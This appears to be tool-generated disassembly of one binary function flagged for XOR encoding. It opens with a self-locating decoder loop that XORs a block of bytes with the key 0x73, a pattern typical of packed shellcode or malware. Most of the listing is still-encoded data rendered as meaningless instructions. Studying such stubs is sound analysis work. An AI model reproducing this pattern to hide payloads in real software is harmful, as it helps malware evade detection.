Function at 0x834484
Capabilities:
Encode data using xor

Disassembly:
nop
ror byte [ebx], 0x45
pop esp
dec ebp
xor eax, 0x345afb5f
sub byte [edx + ebp*8], 0
add byte [eax], al
jmp 0x83448e
pushal
call 0x834494
pop ebp
sub ebp, 0x10
sub ebp, 0x434484
jmp 0x8344aa
mov eax, 0x434484
add eax, ebp
add eax, 0x4c
mov ecx, 0x5d9
inc ebx
add byte [ebx], al
lds eax, [ecx + 0x4cc0]
dec esp
add byte [eax], al
add byte [ecx + 0x5d9], bh
mov edx, 0x56080e73
xor byte [eax], dl
inc eax
dec ecx
jne 0x8344c1
jmp 0x8344d4
clc
mov esi, 0x734ffaf8
jae 0x83454f
mov dl, 0x8b
mov dl, 0x8b
jae 0x834554
jae 0x834553
mov esi, 0x737375cb
jae 0x8344b3
pop ebx
jae 0x834560
jae 0x834473
xchg ecx, eax
jo 0x8344ad
clc
bnd jg 0x834569
jae 0x83456a
jae 0x83456b
jae 0x834569
jo 0x8344b0
mov dh, 0x23
and ebx, dword [ebx]
jecxz 0x8344dd
and esp, dword [ebx]
sbb esp, ebx
fidivr word [ebp + 0x73]
jge 0x834574
sbb eax, dword [edx + 0x727347e5]
pop edi
push edi
sbb eax, dword [edi - 0xd]
pop edi
inc edi
pop edi
cdq
wait
jbe 0x834584
jae 0x834586
lcall 0x2726, 0x7373735b
clc
idiv byte [ebx + 0x73]
jae 0x834594
jae 0x83451a
clc
out 0x7f, al
jae 0x834599
jae 0x834520
invalid
inc edi
jae 0x8345c4
pop edi
push edi
and bl, byte [ebx + 0x73737376]
lcall 0x17fe, 0x7373714a
jae 0x8344f5
dec edx
jno 0x8345d1
jae 0x83455e
pop ss
push edi
invalid
push es
jg 0x8344f8
mov word [esi], es
push es
jnp 0x83450a
adc eax, 0xf8737373
into
jnp 0x8345ea
jae 0x8345ec
inc eax
mov edx, 0x9bf0a140
jbe 0x8345bc
jl 0x83457a
cmp eax, 0x7c737373
jae 0x8345f9
jae 0x834604
sti
cmp esi, dword [ebx + 0x73]
jae 0x8345a3
adc eax, 0xf34a6ff8
mov byte [ebx + 0x7369f77c], bl
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
jl 0x83458d
imul esi, dword [ebx + 0x73], 0x9a88f373
jl 0x834596
jae 0x83460d
jae 0x83458e
mov byte [edx + 0x7362f77c], bl
mov byte [edx + 0x7362f77c], bl
bound esi, qword [ebx + 0x73]
jae 0x834615
jae 0x834616
jae 0x8345b9
adc eax, 0x568c88f2
jl 0x8345a1
mov byte [esi + edx*2 + 0x7366f77c], cl
mul dword [esi + 0x73]
jae 0x834620
jae 0x834621
jae 0x8345e1
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
dec edx
jb 0x8345a9
invalid
mov dl, 0x76
invalid
wait
ja 0x834559
into
mov word [esp + ecx*4 + 0x714a275a], cs
invalid
mov word [edx + ebx*2 - 0xf8eb5d9], cs
daa
dec edx
jno 0x8345b8
mov dl, 0x75
invalid
fmul dword [esp + ecx*4 + 0x7fb12e8c]
jae 0x834600
clc
lahf
and eax, 0x6f82624
and al, 0x26
clc
push es
jg 0x8345db
push cs
jnp 0x834575
pop ecx
stc
sal ebx, 0xf9
jne 0x8345dd
mov ch, 0x72
mov ch, 0x72
jb 0x834661
jae 0x834662
jae 0x834663
jae 0x8345ec
sti
je 0x8345e5
mov ah, 0x72
jae 0x83466a
jae 0x8345c1
jno 0x83466e
jae 0x834670
jae 0x83466f
jno 0x8345a0
mov eax, dword [0x7376f67c]
jl 0x8345f7
div byte [esi + 0x73]
jbe 0x834676
jae 0x834678
jae 0x8345ff
stc
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jl 0x8345fc
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
jl 0x83460a
jbe 0x834689
jae 0x83468a
jae 0x83468b
jae 0x834612
stc
xor eax, 0xf07ca161
sbb dword [ebx + 0x73], esi
jae 0x834695
jae 0x834696
jae 0x834664
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0x8346a0
stc
xor eax, 0xf07ca161
pop ecx
jb 0x8346aa
jae 0x8346aa
mov eax, dword [0x7376f67c]
jae 0x8346b3
stc
xor eax, 0xb360a161
jno 0x8345ea
mov eax, dword [0xa171b360]
jl 0x834641
jbe 0x8346c0
jae 0x8346c2
stc
xor eax, 0xb360a161
jno 0x8345f9
jl 0x834650
jbe 0x8346cf
jae 0x8346d1
stc
xor eax, 0xb360a161
jno 0x834608
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x83465f
jbe 0x8346de
jae 0x8346df
jae 0x8346e0
jae 0x834667
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0x83466d
jne 0x8346eb
jae 0x8346ed
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0x83467c
je 0x8346b7
enter 0x7371, 0x73
jae 0x834623
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0x834704
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0x834703
jae 0x834705
jno 0x834635
mov eax, dword [0x7376f67c]
jl 0x83468c
div byte [esi + 0x73]
jbe 0x83470b
jae 0x83470d
stc
xor eax, 0xb360a161
jno 0x834644
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x83469b
jbe 0x83471a
jae 0x83471b
jae 0x83471c
jae 0x8346a3
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0x83472d
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0x83472c
jae 0x83472e
jae 0x834738
jl 0x8346b3
test byte [edi + 0x73], 0x73
inc edi
jae 0x834733
jae 0x83468c
jb 0x834737
jae 0x834739
jno 0x834669
jl 0x8346c0
jbe 0x83473f
jae 0x834741
stc
xor eax, 0xba60a161
jno 0x834678
popal
mov eax, dword [0xa171ba60]
jl 0x8346cf
jbe 0x83474e
jae 0x834750
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0x8346f3
mov word [ebx + edi - 0x6846c4e], cs
jne 0x834731
clc
wait
retf 0x7372
jno 0x8346a6
mov eax, dword [0x7376f67c]
jl 0x8346fd
jbe 0x83477c
jae 0x83477e
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0x8346b5
jl 0x83470c
jbe 0x83478b
jae 0x83478d
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0x83479e
jae 0x83471e
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0x8347a9
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0x8347ab
jae 0x8347aa
jae 0x83472a
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0x8347b5
mov word [edx + esi*8 + 0x7373f38b], cs
jae 0x8347b5
jae 0x8347b6
jae 0x834736
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0x8347c1
jae 0x834742
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
jb 0x8347e7
jne 0x83479a
inc eax
mov edx, 0x7c729bb3
imul dword [ecx + 0x73]
jae 0x8347e3
imul esi, dword [ebx + 0x73], 0x71a2f273
jae 0x8347e8
jae 0x834763
mov byte [0x73737371], al
mov byte [0x73737371], al
jae 0x83476f
clc
wait
and eax, 0x835884f8
adc bh, 0x2d
enter 0x7372, 0x73
add dword [eax + 0x72c82dd7], 0x73
xlatb
sub eax, 0x737372c8
jb 0x8347f6
jae 0x8347f8
jae 0x834720
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0x834787
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0x83480b
sub al, 0xf8
inc edi
push edi
invalid
push edi
ja 0x83473b
ja 0x834816
jae 0x834818
fst dword [ebx - 0x27]
stc
retf
div dword [edi]
aaa
xor byte [ebx + 0x70], dh
mov dh, 0xf2
mov bl, 0x38
jo 0x834828
jae 0x834781
retf 0x71a9
test eax, 0xc9737371
retf
arpl word [ebx], si
cmp bh, byte [esi + esi*8 - 0x7b]
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0x83476c
add al, 0x49
add byte [ebp + esi + 0x40], cl
mov ch, 0xf7
inc eax
ja 0x8347d7
test dword [eax + 0x77], 0xcbcb6bfc
imul ecx, ebx, 0xffffffcb
retf
inc eax
invalid
dec edi
sti
dec ebx
retf
iretd
xor cl, byte [edx + 0x31]
retf
retf
retf
retf
dec edx
xor ecx, eax
retf